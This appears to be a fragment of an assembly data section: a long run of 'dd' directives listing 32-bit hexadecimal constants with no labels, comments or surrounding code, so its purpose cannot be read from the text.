dd 5A6A3DA8h, 163AAF3Ch, 4B0D15D9h, 0E32429D7h, 2FE0772Ah
dd 0EC1E56Fh, 0DE8C470h, 11E06302h, 0B714045Bh, 0ECC66A35h
dd 541BFD6Ch, 0F54C030Dh, 90220C24h, 7E7A7C47h, 764DC0DFh
dd 53C4F974h, 3E22A03Ah, 23A5C32h, 0AA9747A9h, 74744BAFh
dd 8E6BA31Fh, 508021FAh, 54BC52BEh, 384F56B4h, 0C926A802h
dd 34FEA237h, 6337E27Ch, 0B02232CAh, 33E03208h, 0B3F97B9h
dd 1E1EA01Fh, 0FE190C00h, 0AC242559h, 18F9A2C3h, 0F5EEDAECh
dd 338B335Ah, 77316435h, 3B5A381Ah, 0CC686F6Ch, 3C08E3B0h
dd 663661FFh, 0E4E50807h, 3283A8BCh, 3EA4EC18h, 6335146Bh
dd 50393533h, 1E7D78F0h, 3F3D3E33h, 7C0C19FFh, 0DE341FDEh
dd 29A40F37h, 892C5126h, 7B7E3B40h, 2334AF48h, 21F43B72h
dd 2CC73336h, 3D3A3B12h, 9F136F56h, 325DE1D5h, 1273A249h
dd 0A501429Ch, 6DC32A79h, 32E8245Dh, 36F7A738h, 4E35F783h
dd 4FCF38FBh, 3353CFAh, 4FFE1FD6h, 0CB2AAA1Ah, 25444C77h
dd 294D5BF8h, 482A7DD9h, 51638C32h, 13F7B436h, 0F9103C09h
dd 7EB5F3Eh, 1CD7D01Eh, 9928E48Bh, 99994112h, 72189B16h
dd 1F9797F1h, 86150063h, 7E352C02h, 11870980h, 0F823909h
dd 1D130040h, 0C2A12EA0h, 0A9BF835h, 96261692h, 231D961Bh
dd 8F223Fh, 8636CCC9h, 3E280B07h, 3E330A85h, 2DA90E81h
dd 5ED6E283h, 2F40321Bh, 5D2C7974h, 7B6E0A23h, 0BB6C8659h
dd 971D201h, 0F82702B5h, 0B70E925Bh, 1C6B133Bh, 0DF19721Ch
dd 35A9297Eh, 7656E5A9h, 0D0782842h, 0B22F2328h, 0B2317170h
dd 950BA72h, 0B599D511h, 0C03DC2FFh, 1C1D5618h, 2070184h
dd 26642723h, 0AA2A31C7h, 4A2526CBh, 11F1DBC7h, 0DE20CB63h
dd 36A9E035h, 0C1C3BFCBh, 3C395A4Ah, 3C60DB1Bh, 8E55AEA8h
dd 3961A2ACh, 0EC50432Fh, 15617F2Bh, 7FDED837h, 0AAAC2DE6h
dd 3CAD672Dh, 0DD2930CEh, 6041D207h, 0E40A322Ch, 29752E18h
dd 2FABBF38h, 0F8F47773h, 0A57A2821h, 71303934h, 35A33A5Bh
dd 4F6F0274h, 5B550E1Ch, 31623570h, 0A63F37CCh, 2974EF68h
dd 2E16E326h, 0C22CD960h, 70368CB4h, 34FA3EEAh, 5D1E3BB7h
dd 6B6F3C7Eh, 4B014E1Fh, 6961044Dh, 47092874h, 484844h
dd 38313D22h, 3E323417h, 2A1577E0h, 411C8A77h, 0A4931D3Ah
dd 7F5F1B62h, 8F132D22h, 6860580Bh, 840F252Ah, 317D5004h
dd 9F70FC3Ch, 12263319h, 9C217C45h, 58F0073Dh, 81415890h
dd 772302AAh, 29D834CDh, 0FC365CC2h, 29AFACA2h, 0A43373A0h
dd 28435135h, 0CBD3694Fh, 0F36A701Eh, 1F9D16F2h, 3D4B008h
dd 474E62B6h, 0B5B2AE3h, 69E9092Dh, 0B8363128h, 7AA38B0h
dd 7A57B010h, 3F3A3C83h, 411F5D18h, 5C256624h, 68A8E823h
dd 0E5C17937h, 7C28A93Ah, 26A7438h, 3509DC60h, 0FCB22C25h
dd 7F7B2EB9h, 13971638h, 0A501DBFh, 0E52AAAEAh, 2DAA330Ch
dd 3A2D1528h, 0DA3851A7h, 3336B83Fh, 0D0FC21F4h, 3D97AB84h
dd 0AA1BDFFBh, 0C4B11EF9h, 24C78421h, 28C3B88Fh, 0A22BCEBFh
dd 0D4A92EC9h, 0D04D9831h, 38D34035h, 5A3BDE57h, 45B53ED9h
dd 0FD481DF8h, 6DCB8D20h, 610424C0h, 0C2F629CAh, 972ECD12h
dd 26D028A0h, 53E4D0C2h, 0ABF93B38h, 20F23D3Ah, 0E11D031Bh
dd 223E2000h, 263A243Ch, 2A362838h, 2E322C34h, 2D312F20h
dd 24352B33h, 52C65237h, 7D8C3C73h, 0BC781A3Fh, 71201B1Eh
dd 2501AA46h, 6DC4A422h, 4CAD7D1Ah, 113F453Ah, 0BC503132h
dd 0EA3C373Bh, 30634B78h, 114FC056h, 0A3967EE5h, 2433622Dh
dd 0BD85CE21h, 8D0D2B88h, 313F414Dh, 35B1A7D9h, 1036B776h
dd 0BEB3D23Bh, 1ABE663Ch, 6494F51Fh, 0A24F20A2h, 49CE2125h
dd 0A53A28A9h, 0EE2D2DAEh, 32843431h, 42F2414h, 8AF0A01h
dd 220D3D8Dh, 70294E2Fh, 1721942Bh, 11711230h, 2A401F7Ah
dd 961AA11Ch, 406C918h, 88763432h, 0E01C10Fh, 73D4D02h
dd 24F72291h, 20432536h, 1FF90CA2h, 127D1C3Ch, 0E0172BBAh
dd 31A29C15h, 0E5A2B931h, 0F6B0BC31h, 3C3CACB2h, 7D50B7D6h
dd 0C87F160Ah, 0A93093B1h, 46CF586Bh, 5322CAB8h, 6385A3Ah
dd 23497421h, 2F46F33Ch, 6C241ACBh, 2B8F9DD5h, 2E530A63h
dd 30E2562Bh, 2FD03251h, 0B0D83E53h, 2F87F8ACh, 33313439h
dd 1336C58Ch, 69383810h, 323C3D34h, 76161D4Dh, 2228249Fh
dd 3FB62103h, 922A2826h, 3B28AC8Eh, 0B8612AAEh, 33DD3E34h
dd 3F499E3Dh, 2619BC31h, 8D161FCEh, 2474151Eh, 24262385h
dd 21873226h, 2D6A7331h, 0B1C8A429h, 7524F521h, 3A1BB732h
dd 63FC65D2h, 343B3CFEh, 73F7C696h, 276320A2h, 60CFFE6Dh
dd 0E3A028A9h, 71102C2Dh, 0B94336F2h, 0BB333549h, 0D4733835h
dd 1FFDDA4Ah, 6CDF4A44h, 0A4D22352h, 0AB02B13Fh, 2B632A28h
dd 0A4EEA97Ah, 641845C1h, 0FF23CA34h, 0B03B3BE0h, 6FFA3F01h
dd 0E1E8761Bh, 42D54AC8h, 0F1DA22AAh, 7A1598AEh, 68EDEA27h
dd 74B83127h, 776AD73Ah, 3B3B4132h, 5ED63575h, 1A331D10h
dd 69331839h, 95E836DDh, 6799E020h, 630D6935h, 5E5C6837h
dd 7A29A350h, 4B5DDF46h, 4E65BA5Bh, 1D95019Bh, 0DB961AE2h
dd 44A6625h, 5D454F32h, 6A8F4AABh, 5F640E5Fh, 5778D35Ch
dd 72382833h, 0D3367838h, 5D01C339h, 0E65F5B55h, 782962B8h
dd 27572422h, 0E229293Eh, 34392D5Dh, 3343D7D0h, 46B2C52Ch
dd 383A2038h, 3F4ECE76h, 76130802h, 8238D519h, 5E2B344Eh
dd 24382867h, 3E2D5DA8h, 43EAA121h, 0A93B2433h, 34293846h
dd 2E3D4D96h, 6CA7AD31h, 0E82E0F1Eh, 86A52353h, 61A5762Dh
dd 0ADBFC333h, 7CF3241Fh, 0F50D2870h, 4CF8B2A1h, 183CD028h
dd 1EA23B1Eh, 407D4C1Eh, 3F452442h, 2927E561h, 740F6637h
dd 699C19C8h, 8BDA3030h, 311B74h, 22E2D24Dh, 16F8DF94h
dd 2E26155Ch, 1BD71921h, 1E701C26h, 129E1085h, 16E214EAh
dd 0ACC08C0h, 0D990F3Eh, 1FC038Dh, 5E307F0h, 24F726FFh
dd 18D91AECh, 1D221F21h, 11311329h, 1564176Fh, 9680B60h
dd 0D580F50h, 1400344h, 5B60744h, 268520ADh, 0AA0424BEh
dd 0E63161D2h, 0DF9BE409h, 0AE18AB5Eh, 45311F50h, 625731Ch
dd 2A5E5697h, 2E1F6C24h, 2CF32C3Dh, 1A0D3DE8h, 7033004h
dd 67DB2337h, 2C2B270Bh, 32FFC2ACh, 0BF653031h, 0E013822Dh
dd 3A9B3A49h, 1E4DD66Bh, 9BF62A9Fh, 34224972h, 2FE42DE0h
dd 2E21BFADh, 2736BD2Ch, 633689B0h, 0E2ADD65h, 2A23A849h
dd 37263D0Dh, 6A19DD20h, 2E5A200Eh, 0AF17AF75h, 0EAAA1827h
dd 5BEC172Fh, 0F16F24DAh, 0F2613FE3h, 2C4DE93Ch, 0FE33FC38h
dd 799D6A34h, 51231F1Ch, 0C540A700h, 0C106A27Bh, 5EAE2F2Ah
dd 0B49821AEh, 34F4333Ch, 3C387488h, 3F3E3B31h, 1C1AEF33h
dd 2D1AFE1Eh, 0A4292711h, 0B379232h, 2C7B202Dh, 6809AC27h
dd 3E633CB4h, 0BD7F3535h, 32BE4A37h, 121F6B46h, 63BF197Ah
dd 0F1112C21h, 830271ADh, 2BAA796Ch, 7E0E4B60h, 0F00F5178h
dd 36D73454h, 172FC66Ch, 295C0CFDh, 5A947A9Bh, 7CC9663Bh
dd 76ABA563h, 0AA69E4E5h, 0D1652E0Bh, 733E10F8h, 5C717693h
dd 0DA6B6927h, 70B5C32Bh, 184B903Bh, 2476A397h, 2C1E1692h
dd 29232F69h, 6C3D7EF3h, 2DED088Eh, 0E4585B16h, 0D1506133h
dd 7D1E63B9h, 0BD408F22h, 0C8130B1Ah, 42BC508h, 35FF3626h
dd 0B479330Dh, 39EF346Bh, 0D4EC3B43h, 39F32AC3h, 7C3E2B56h
dd 5837EF3Fh, 0F732141Eh
dd 0EF2A8122h, 2506CB32h, 0F99F2CC1h, 26FF7425h, 0E22681ACh
dd 3596AB3Dh, 0D133E87Dh, 554A1195h, 5D1B2D18h, 6528F2A4h
dd 4E77828h, 0B392D67h, 0C4249C20h, 0EA30C10Ch, 24713F84h
dd 50997814h, 0C49DF8C2h, 0D82C4AFDh, 7C1EDFBEh, 0F30B332Ah
dd 0E83319E7h, 266C2ECAh, 32F2A4D6h, 0DF4433C9h, 0D648373Bh
dd 147F4B3Ch, 8483EB2h, 31D5A0Dh, 331723FEh, 2161C7E4h
dd 1D2A5BADh, 70F62575h, 2E23A618h, 0B6AAD0B4h, 0BC6938A9h
dd 6F413E49h, 6B4B6B1Ch, 23564F20h, 79265142h, 0B67C295Ch
dd 5D602D58h, 2292A130h, 0A5CB1533h, 24F52F98h, 21B95A3Bh
dd 62901F1Ah, 624083E0h, 0CFB12791h, 29295C2Ch, 0D5992C5Fh
dd 0C2331656h, 0DAB63492h, 6F6A0837h, 42B66B6Dh, 98581B1Bh
dd 6AA410E1h, 27342320h, 0E947A798h, 0A7EBA039h, 2FBA3F2Eh
dd 0E60EF9B8h, 0BD263743h, 0B72A4FF3h, 96133E6Eh, 23DD1F43h
dd 26E3A12Fh, 2AE1A525h, 0F05EE3ADh, 0DBEF2E1Eh, 0A6F32934h
dd 371A5935h, 3C340D39h, 1B303E32h, 0CF010CD0h, 8E0A3Fh
dd 38B53C84h, 6B82C5A9h, 4E7B7E38h, 0D88B2631h, 5816D79Eh
dd 0FFD22E7Ch, 300EB6DBh, 0EED1389Fh, 222E501Eh, 23CE7420h
dd 6E46A84Fh, 0A039EC62h, 40323178h, 59465133h, 145C4E5Bh
dd 4C4F6C5Eh, 199E6950h, 0C0F9F19h, 27A41D90h, 2B682326h
dd 0EC482CEEh, 5E362F2Dh, 355A5642h, 797B5232h, 3D37F82Ah
dd 0DC6B4A38h, 60167A0Ch, 0E44B4626h, 2D274B25h, 797B2E6Ah
dd 0C00B2A6Ch, 63333301h, 66BACFBEh, 3C74B747h, 0D5D2D639h
dd 944EE2E0h, 0CCCAEA28h, 0E7A32284h, 5C2AAC27h, 472C2D29h
dd 323131B0h, 372A3C04h, 393A3139h, 0F72B3DC3h, 9D1C1EC1h
dd 522224DBh, 0AD99A4BAh, 2B2940E9h, 0AEB3ED1Dh, 9295582Ch
dd 0DE26300Fh, 0A936BE18h, 0BE9433BFh, 9B80733Ch, 2EA61111h
dd 0AC2BA7B6h, 8D4024A6h, 9B824A8h, 0F3572FB2h, 118EB261h
dd 0B93298DEh, 55AB3F80h, 1CF71BB2h, 0AA1F4D9Ch, 75BF71A1h
dd 0C03D6525h, 5C1A2BBBh, 0A4A9A40Fh, 0B0303271h, 983C42F5h
dd 0C6E6BB4h, 1A0D223Ch, 6C1F2F89h, 0E70E3CD0h, 24F64ACCh
dd 0EB1C2D40h, 0D5B6D0Dh, 3437C1B4h, 361622DCh, 3838F9BBh
dd 6F7A170Ch, 0F6D39749h, 4A93725Dh, 0E015006Fh, 0DF2929D6h
dd 44292C58h, 3931D3ABh, 47233447h, 1B076837h, 123D486Eh
dd 692B1B4Bh, 21545D1Eh, 2550766Fh, 4A28537Eh, 59422B5Eh
dd 4565562Eh, 3540B732h, 0A33843B9h, 0A8993B4Eh, 6CAB3F4Ah
dd 156B2F1Dh, 3D87C9E9h, 0C9897E11h, 0ECAE7C2Ah, 39275B7Ah
dd 4B82AB5h, 0B32A56F5h, 0B9FB3E71h, 0F3294BF4h, 0BF367D96h
dd 0E3F23306h, 4758CD12h, 0EB197629h, 672A6D29h, 710D6ED5h
dd 3737353Bh, 0C1FBD0CFh, 0FEFCB62Eh, 1D02F49Bh, 9425ADCFh
dd 1A837AA1h, 6252292Eh, 0F6B52C14h, 3239F4ACh, 0BFCACFB0h
dd 4F2D1C6Bh, 70B0797Bh, 1C3BF345h, 21B1899Dh, 0A3AE73A1h
dd 0B140A326h, 7F48A82Bh, 91B32B7Eh, 376E3107h, 806866B5h
dd 3DDE91D1h, 8B1BBD2Dh, 35E01E4Eh, 51F3FEA9h, 9B574855h
dd 4D8B5F6Ch, 57ADA53Dh, 46670771h, 585C615Eh, 596F0A3Ch
dd 0B3B534Fh, 6F7F5E2Ch, 537148A4h, 53552021h, 2BBB2941h
dd 7C7D2F2Ch, 61616174h, 6E2663AEh, 3B5B0948h, 0BF6D38B3h
dd 56712C7Ah, 0AFE56448h, 6231006Fh, 54B3C4Fh, 0AFAD1CC3h
dd 735238B1h, 0DE333431h, 0B679BBF9h, 52213DBBh, 0BCBCD4D7h
dd 847009DCh, 0A279030Bh, 1220C767h, 52A824E9h, 3FBB2FCEh
dd 1425312Fh, 0B011D53Ah, 9CA81FBEh, 98DC2CDEh, 54948E39h
dd 73330621h, 293F58A6h, 732E0A5Dh, 0B071EE1Eh, 81652656h
dd 0B82354B5h, 0BABA2E69h, 19878FBDh, 0F4125D7Ch, 0D2FCC907h
dd 63222765h, 206CD1ABh, 6F3E0978h, 0B8723D3Ah, 375C3D7Ah
dd 0D3647939h, 0BEAC0BB8h, 19789F47h, 4D911E7Ch, 632C1A49h
dd 9C174B2Eh, 4D770945h, 72745811h, 13E40A50h, 45A7554h
dd 5D361902h, 776C7401h, 0E47B7E20h, 761A4023h, 174B26E3h
dd 952DEB6Fh, 503667CAh, 4AF1CE0Ch, 26382808h, 9CB9723Ah
dd 1E1B52F6h, 0A41DD89Eh, 24C357E8h, 2DCCE616h, 0F4A8EA32h
dd 30AAD129h, 343048ABh, 0B81B8837h, 3B7A3A56h, 293F2000h
dd 1B468CFh, 22341E20h, 65277B1Bh, 0E16B21FBh, 1A6F27F0h
dd 0BEB911B0h, 6635B4B0h, 6BBBBA79h, 0BFAFD56Dh, 0B4A44C02h
dd 0A7C9095Eh, 0EE7626E3h, 9B7B6E74h, 278EACEAh, 27F621EDh
dd 0F25897B2h, 2BFB5726h, 3F9FB934h, 0E76103Fh, 254A1174h
dd 0E52CA148h, 25423227h, 0DEC2D40h, 615A7F6Eh, 5525DB62h
dd 0FD28B423h, 9FD4B016h, 484A7E28h, 219F1639h, 42E0231h
dd 26DAF2Dh, 0C4268A79h, 3CEF5F24h, 563FF06Fh, 3B3F3B05h
dd 0BC1A6D2Ch, 0D8D73602h, 0D95F1DB5h, 2462A012h, 0E9AD7528h
dd 22EB3AC0h, 64CE257Eh, 3092B83Ch, 0AC341566h, 3450890Eh
dd 34541A56h, 475C203Bh, 0C4B105Fh, 24D6CC73h, 6C980C48h
dd 3EC5013Ah, 4EE036AFh, 3D3BB409h, 305844E7h, 7E375A36h
dd 914C0F55h, 2B42BFF6h, 0CD0A38E5h, 0B100279Bh, 6DE1C37Ah
dd 0D718E344h, 1B1CFD83h, 9EE2963Ch, 9AF3913Ah, 1CBCFB3Eh
dd 8E1FB9A4h, 87092286h, 8FBF2682h, 2C8BA729h, 22F27E95h
dd 3D2D7738h, 3719363Ah, 0FD3F9B77h, 1B4B2B7Dh, 291E6922h
dd 0CAFE2152h, 22D7400Ah, 0CD2FDBF0h, 0CF2BD09Dh, 0DB0E61BBh
dd 253655DDh, 5B3B3958h, 5F6B3E3Ch, 1E7D0F1Bh, 2921400Fh
dd 33162443h, 4A2C2847h, 2E4D182Bh, 0CFCD742Fh, 0A9187233h
dd 0A5B0A7BEh, 0A1B4A3B2h, 0E29584B6h, 0A8BF9681h, 0ACBBAABDh
dd 0A0B7AEB9h, 0A4B3A2B5h, 0AEB9B0D1h, 37B4ACBBh, 1D59346Ah
dd 0F3D43B3Ah, 98E4C12Eh, 0A410C52Dh, 8402223Bh, 8CF0226h
dd 0D3D53892h, 18096E7Bh, 0E4933B8Ah, 17760A5Dh, 18A7B369h
dd 1D3F561Bh, 1F065CFCh, 0A33E86E1h, 0BFF1850Dh, 27206826h
dd 7E222BACh, 16E75958h, 61636670h, 1F4E39B3h, 0C6B56A5Ch
dd 609D4296h, 0CA256F92h, 17560A15h, 26C9614Dh, 73BCACAEh
dd 24A1BD4Fh, 38459557h, 24D1682Fh, 2E254458h, 1D409B2Eh
dd 28C84E1Ah, 0A8989109h, 0A932A8D7h, 56397A28h, 763E0A44h
dd 503A51BBh, 29218412h, 3DA860D2h, 4DF37B76h, 60771E8Ch
dd 7112D84h, 32782D35h, 4CA5C228h, 66EBAD2Fh, 66375311h
dd 3F746A2Fh, 481B2A35h, 55D73D95h, 49221DCFh, 22221C31h
dd 76377AF7h, 0B89A639h, 2F96E427h, 0C3129B31h, 6A067378h
dd 33076939h, 0B28E3DFCh, 7E11389Fh, 2A3FA21Fh, 96366DC3h
dd 0CE37A827h, 0A224ECF1h, 0E2A2240Bh, 7254F533h, 0D27E4813h
dd 23AEC0Fh, 1F3EDFBEh, 212FEEE1h, 2424B4DEh, 0B129BEBCh
dd 5D3F1BA0h, 0B2E03D52h, 65D6B225h, 1C3B37C9h, 6D6E3B0Ah
dd 9D8F253Fh, 701F8EFCh, 753E2391h, 8A927E5h, 2DA82BEEh
dd 587335DCh, 0A1602165h, 0F8641337h, 6EDA523Fh, 3A0EC702h
dd 210E319Eh, 0BBCA7633h, 632F09B2h, 25C16D40h, 192FEA81h
dd 30741280h, 233F562Fh, 8C383BB9h, 374A3E6Eh, 0E11C1C71h
dd 0F8F135B7h, 0C4932B73h, 6F84053h, 288D8FA1h, 6214217Fh
dd 3445E2DBh, 32FDBBB7h, 13B3B16Bh, 0DA1C0FCEh, 20E43B9Ah
dd 4BCC2522h, 1128F68Eh, 0FA363FC2h, 0C2202BDCh, 3FDC0A32h
dd 3638C53Fh, 73CC829h, 59CDC5D6h, 0D30A10EFh, 0CECB1921h
dd 0AB826D7h, 102BD93Eh
dd 30DFF4C5h, 10B37EBAh, 3831F13Dh, 35BDA38h, 1F79F83Dh
dd 0D9951C1Ch, 6A10D07Eh, 532EE1A7h, 0CFA3A20Ah, 6F7E2934h
dd 37544F58h, 285664B4h, 245AC828h, 5F6E28C3h, 5D171D05h
dd 0D105A2BFh, 5842001h, 39692837h, 1DC7282Eh, 0B9352E30h
dd 0BB93D4C2h, 2D13C79h, 0F96A3C7Ah, 5EFCDB39h, 27E6137Eh
dd 5351747Ch, 1C295C2Bh, 6D080FA6h, 30052F2Ch, 3A013363h
dd 1DAC6F88h, 3F313A06h, 5C1B0373h, 6C1ECF4Fh, 26AF9C2Eh
dd 3524AB33h, 0EA23422Dh, 362F22A9h, 0CC7EB932h, 0B3676435h
dd 70B63E68h, 0F3C73E17h, 0E0E3711Dh, 0E1D3E1A4h, 0A4535325h
dd 0BB0D64DDh, 10E22D26h, 0C320E30h, 36360A34h, 0D7B9392Ch
dd 0CEB56B2Ch, 2C5B1890h, 1026E8DFh, 26A67AE3h, 19EA38E3h
dd 68A64AEBh, 4679362Fh, 1E417C3Ah, 7CFEB851h, 3F3D3D3Dh
dd 1D6E5B87h, 1D519A7h, 5E462B20h, 0C9217753h, 8E44EB22h
dd 0F33C174Ah, 3A230C2Eh, 51313836h, 3433105Ah, 1D27363Ah
dd 0A3BF1F14h, 679282E7h, 94CF0E78h, 259B2AB8h, 0AA26AB05h
dd 0F23AB617h, 38D73FB5h, 3CD9A0D9h, 114912E7h, 0E0E31DD3h
dd 2B066DABh, 79E025AFh, 2B27A04Ch, 0EB0EAE28h, 0FFA2F220h
dd 0BC603528h, 0FED2C838h, 0C9C1C091h, 16391C5Fh, 7428541Eh
dd 0DB6599CBh, 0EEAA2A27h, 0ECA52C2Fh, 3331343Fh, 0DFB53AA3h
dd 0C7219268h, 3E3AACC4h, 8BBC2532h, 24810C8Dh, 752733E1h
dd 1C6965E4h, 965280Bh, 321F9F2Dh, 1177301Ah, 19BAC73Fh
dd 0FB346B2Ah, 90C9BA31h, 761F1D1Dh, 4E3708F1h, 60277617h
dd 0F8834235h, 60490A06h, 36712E33h, 0D01F3687h, 1CFFC16Ah
dd 0FCF3A32h, 8E059D38h, 0D364932Eh, 0D7AD6911h, 3D682869h
dd 2D7C76C9h, 0B032CA2Ch, 58122370h, 553A36A0h, 2E708D12h
dd 0AF5B5E1Dh, 6EC9EE0Bh, 0D9353442h, 0F0F53D27h, 70F42D29h
dd 0BAC0213Ah, 50DDCFDh, 38E23036h, 3A2D3E3Ah, 991C9BB5h
dd 0F626BDEh, 741822E2h, 7D39FB4Eh, 44624BA7h, 0E8C9CC6h
dd 3A0502B6h, 83D4789h, 5930ABBEh, 0B4250E0Eh, 29BF1F14h
dd 0A22C1798h, 5828159Ch, 2E2C6B20h, 0B07A9C67h, 2B13503Eh
dd 0EF855565h, 3EE334C0h, 0F3353F0Bh, 1E2D9196h, 28205600h
dd 26155DCCh, 295DD98Ah, 1C4AC520h, 3B44F931h, 67DE387Ch
dd 3A3A381Bh, 2B303F4Bh, 1F5E20F3h, 2D201757h, 15600CCBh
dd 275EF826h, 1D39C43Bh, 4550282Eh, 36DD2531h, 0B91F7836h
dd 3F1DF86Fh, 8219DC7Ch, 91741F8Ch, 27CF2222h, 65A3E714h
dd 72702B0Eh, 556B7270h, 35343EBBh, 61FCB432h, 353C3FF8h
dd 0A0D7AF3Fh, 45B951Dh, 0AF752225h, 29274CD4h, 2C2A22A3h
dd 0BB21A62Fh, 5176DAFFh, 0A038C935h, 1F57213Dh, 1C7933BFh
dd 5F6BF507h, 0E7AF7127h, 4CA2306Ah, 6B5EC134h, 4D3FAD50h
dd 28B67658h, 0EB6FDDCh, 98D23DF8h, 3BFA2BBCh, 0DDA9F401h
dd 2BE1B81Bh, 874A212Eh, 306D2CA7h, 2F2908AFh, 235CB70Ah
dd 23E514B2h, 2948A5D0h, 0E375CB6h, 85785B27h, 0A3490F1Dh
dd 74479226h, 990CA3E0h, 2C342D3Ah, 3A100FC6h, 0F5B015F2h
dd 0FCBCBF39h, 0A94E1B35h, 1E4BAB1Ah, 101BBEBCh, 54C6CA73h
dd 0A9054E29h, 0C5A8BA2h, 330F8A2Eh, 0BA6DA33h, 7DF099Bh
dd 3D3B05CAh, 1A3F3CADh, 1D1D68h, 81121410h, 6A16D614h
dd 0A11B7519h, 0F11F8B1Dh, 1003DC01h, 0ED048A06h, 46095B0Ah
dd 8A0D940Fh, 102EFE28h, 14153A2Bh, 0C5119E17h, 3E132B1Eh
dd 0B917A711h, 3D64F315h, 7429F408h, 24486B63h, 31C93F4Bh
dd 1F3AF329h, 0C502B1Ch, 13E78F4Ah, 0FFA19D1Dh, 0ECCAC325h
dd 3525D007h, 0D5B5BE51h, 4C51793Eh, 9C83D321h, 9E641E19h
dd 84F700F6h, 0CC3B2525h, 2A15BC13h, 0FCED09F6h, 0B16FC628h
dd 30711DF5h, 112AB2D0h, 5D5118D8h, 974D543Ah, 6BCE2E3h
dd 3EA9476Eh, 0A72BA5C4h, 95257E7Eh, 2F3E0950h, 29B200A7h
dd 17E5CA64h, 3D13D91Eh, 947E3863h, 500B1C13h, 0DD707716h
dd 58AEF72Bh, 90214E67h, 8E072C2Ah, 0CC1B8935h, 0D93236B7h
dd 0FE13D71Dh, 0FE17D308h, 7436F408h, 8FE735FCh, 239309CEh
dd 8E02C427h, 0CE2CDDF1h, 31C5B804h, 0DA2C19D0h, 0D312D51Ch
dd 2916D82Eh, 0F90B15D1h, 0C29ACF37h, 0AF4A0Bh, 0BC3CD715h
dd 0FC0B31DBh, 603768A6h, 246B3091h, 0AF5F785h, 291B7A29h
dd 2B214E19h, 1F950E9Eh, 0A8300574h, 0A6370160h, 2BD5C808h
dd 2E3E7C2Fh, 0D118B024h, 71335A4h, 3A086B38h, 3E376C6Ch
dd 0FFC97455h, 37DE7239h, 24FE28D3h, 0B8E9E8F7h, 2E6F9427h
dd 56A7302Fh, 0BEC63C59h, 0E7D509Ch, 0A5D51038h, 7D4F180Fh
dd 722ABE72h, 0AC253173h, 0B9742637h, 2496030Eh, 0E21B244Eh
dd 51164012h, 0D1141234h, 1939C855h, 0EC132DD6h, 0B4C77618h
dd 0ECCB7A38h, 28E716F6h, 2D982E5Dh, 0EB1D2CC6h, 0C38133Ah
dd 3207373Fh, 0B834E1BDh, 947F9F73h, 55DF0DC9h, 33E27121h
dd 1DC6D44Ah, 6A45A940h, 4F298C34h, 215E403Fh, 0B23515A3h
dd 343E42F8h, 0D776FEA8h, 1ABFD5ADh, 2689529Ah, 2E759F6Fh
dd 872B68ADh, 0DEAB246Bh, 66257426h, 74671EC2h, 0EBCFB623h
dd 6635FA7Bh, 0C6F40A13h, 84511EBEh, 27CC3108h, 38734A6h
dd 993D2AE8h, 385B09C6h, 9E34D324h, 3828FA1Fh, 0D5159403h
dd 0BB1A5888h, 0C8512E34h, 627503B3h, 672C0Dh, 68872B83h
dd 452EF9D2h, 744F16BDh, 0C0BDBD3Fh, 3CF61D30h, 5F679F7Bh
dd 971E0F1Ch, 0A631057Ch, 253F51E4h, 12296B90h, 2A5C2554h
dd 177631F6h, 7FBD3427h, 0FB3ABA04h, 4AF7B800h, 0B83097F7h
dd 6662E0EFh, 4B255530h, 5B087927h, 1691C2Bh, 7601305Eh
dd 3644EF0Eh, 4B724D67h, 67719C3Bh, 684C1B4Eh, 215178A8h
dd 5451A4D2h, 0AA569726h, 3F3C2B5Bh, 40A12C2Eh, 36342032h
dd 3949A82Ch, 4CBA4B2Eh, 1F1B2A3Eh, 0C8D1A55Fh, 2549C2EDh
dd 0C1372735h, 0D3282A8Fh, 0F08B2C38h, 8CFBB957h, 38557BE6h
dd 0B7DACD29h, 5E3886F7h, 0DEDC331Ch, 0CAD527C9h, 0E6F72527h
dd 0E9A139D2h, 302EC5EDh, 0C9B9E133h, 374ACB0Fh, 82FBB25Dh
dd 3F3F6CBCh, 29C51D1Bh, 0DE16D497h, 1E29B883h, 22B54833h
dd 4E15140Fh, 56096CB3h, 0E59B40Bh, 2450043h, 34A05CBFh
dd 0D9807B8Bh, 19F4581Eh, 0C1841BFEh, 0DD10CB1Eh, 2D289AAAh
dd 8242FB3h, 0C100A2Eh, 0D380E1Ah, 51056B03h, 62964B07h
dd 6001F663h, 2CA87206h, 0F807CEEAh, 2866A73Ah, 0C421B4C5h
dd 34C32231h, 5EB25415h, 54233849h, 717E3F3Dh, 752A3E4Ch
dd 99632821h, 216A6A91h, 0E3A1782Eh, 7F5FC568h, 11DA6131h
dd 35F22F05h, 0B337930h, 3FB3FDB8h, 1A1DA137h, 730A2C92h
dd 0A6767407h, 5956C022h, 6E09782Dh, 60F9BB33h, 38B5FF18h
dd 0B1C0381Ch, 0D66D6BF5h, 8F196150h, 20F00317h, 0CD777370h
dd 0ABA02559h, 21E8A828h, 39B9EA2Dh, 0F16B3B74h, 4FC7B233h
dd 853F3B0Ch, 3CCBD73Fh, 0D048FF4Ah, 5423B621h, 0CC70123h
dd 0A7070DF9h, 8AC77EE2h, 18329182h, 3FA73295h, 0DC3C402Bh
dd 1B57863Ch, 5E183C1Dh, 7229A124h, 5B302064h, 2D3B69B8h
dd 45442D97h, 0B8726331h, 13AABCFCh, 0C3B999A4h, 0FEA33243h
dd 0FF9E1C52h, 21E0A3E1h, 25E5D5A8h, 0E5DA1E1h, 0EC2B2C27h
dd 0F3D92220h, 0E340D93Ch, 41B26F35h, 0F0B6383Bh, 0D21FDB0Ch
dd 0AADD3795h, 0EF3450F3h, 0D7AB2A66h, 87DF2A2Ah, 72BA3F5Bh
dd 48B91336h, 0FE8BF37h
dd 0FD27FA01h, 7C19DFBDh, 230ADE9Eh, 0C1737DE0h, 0A8273229h
dd 225F20D2h, 3022D5ADh, 0CFB33B45h, 0BC334269h, 3D4EE179h
dd 0EBC4BF7Eh, 41E6B1Fh, 0CBE3E2ABh, 0A72C192Ch, 2616255Ch
dd 0EE122558h, 46F21131h, 0BC36B432h, 0B8823D6Fh, 3F7D26E2h
dd 0BF3DDE9Ah, 0D5202018h, 22A8C623h, 9C25A5AEh, 3CC72CEAh
dd 0BFB134A2h, 9534BD3Fh, 39D8F937h, 15FF38B6h, 5F5CDA3Dh
dd 0DEC19E0Ah, 270423DDh, 235EE61Dh, 0AEF42ACAh, 44CFD42Eh
dd 0C8207833h, 8238C6DEh, 0D51D3BCEh, 1CE9B6D3h, 20EC1419h
dd 0D6FECA03h, 0DC6A8425h, 0E1C30929h, 0C4B92EDFh, 0DC171A31h
dd 0E737C488h, 0D41E3ACDh, 1BCD932Fh, 1FED1634h, 0A6BFC906h
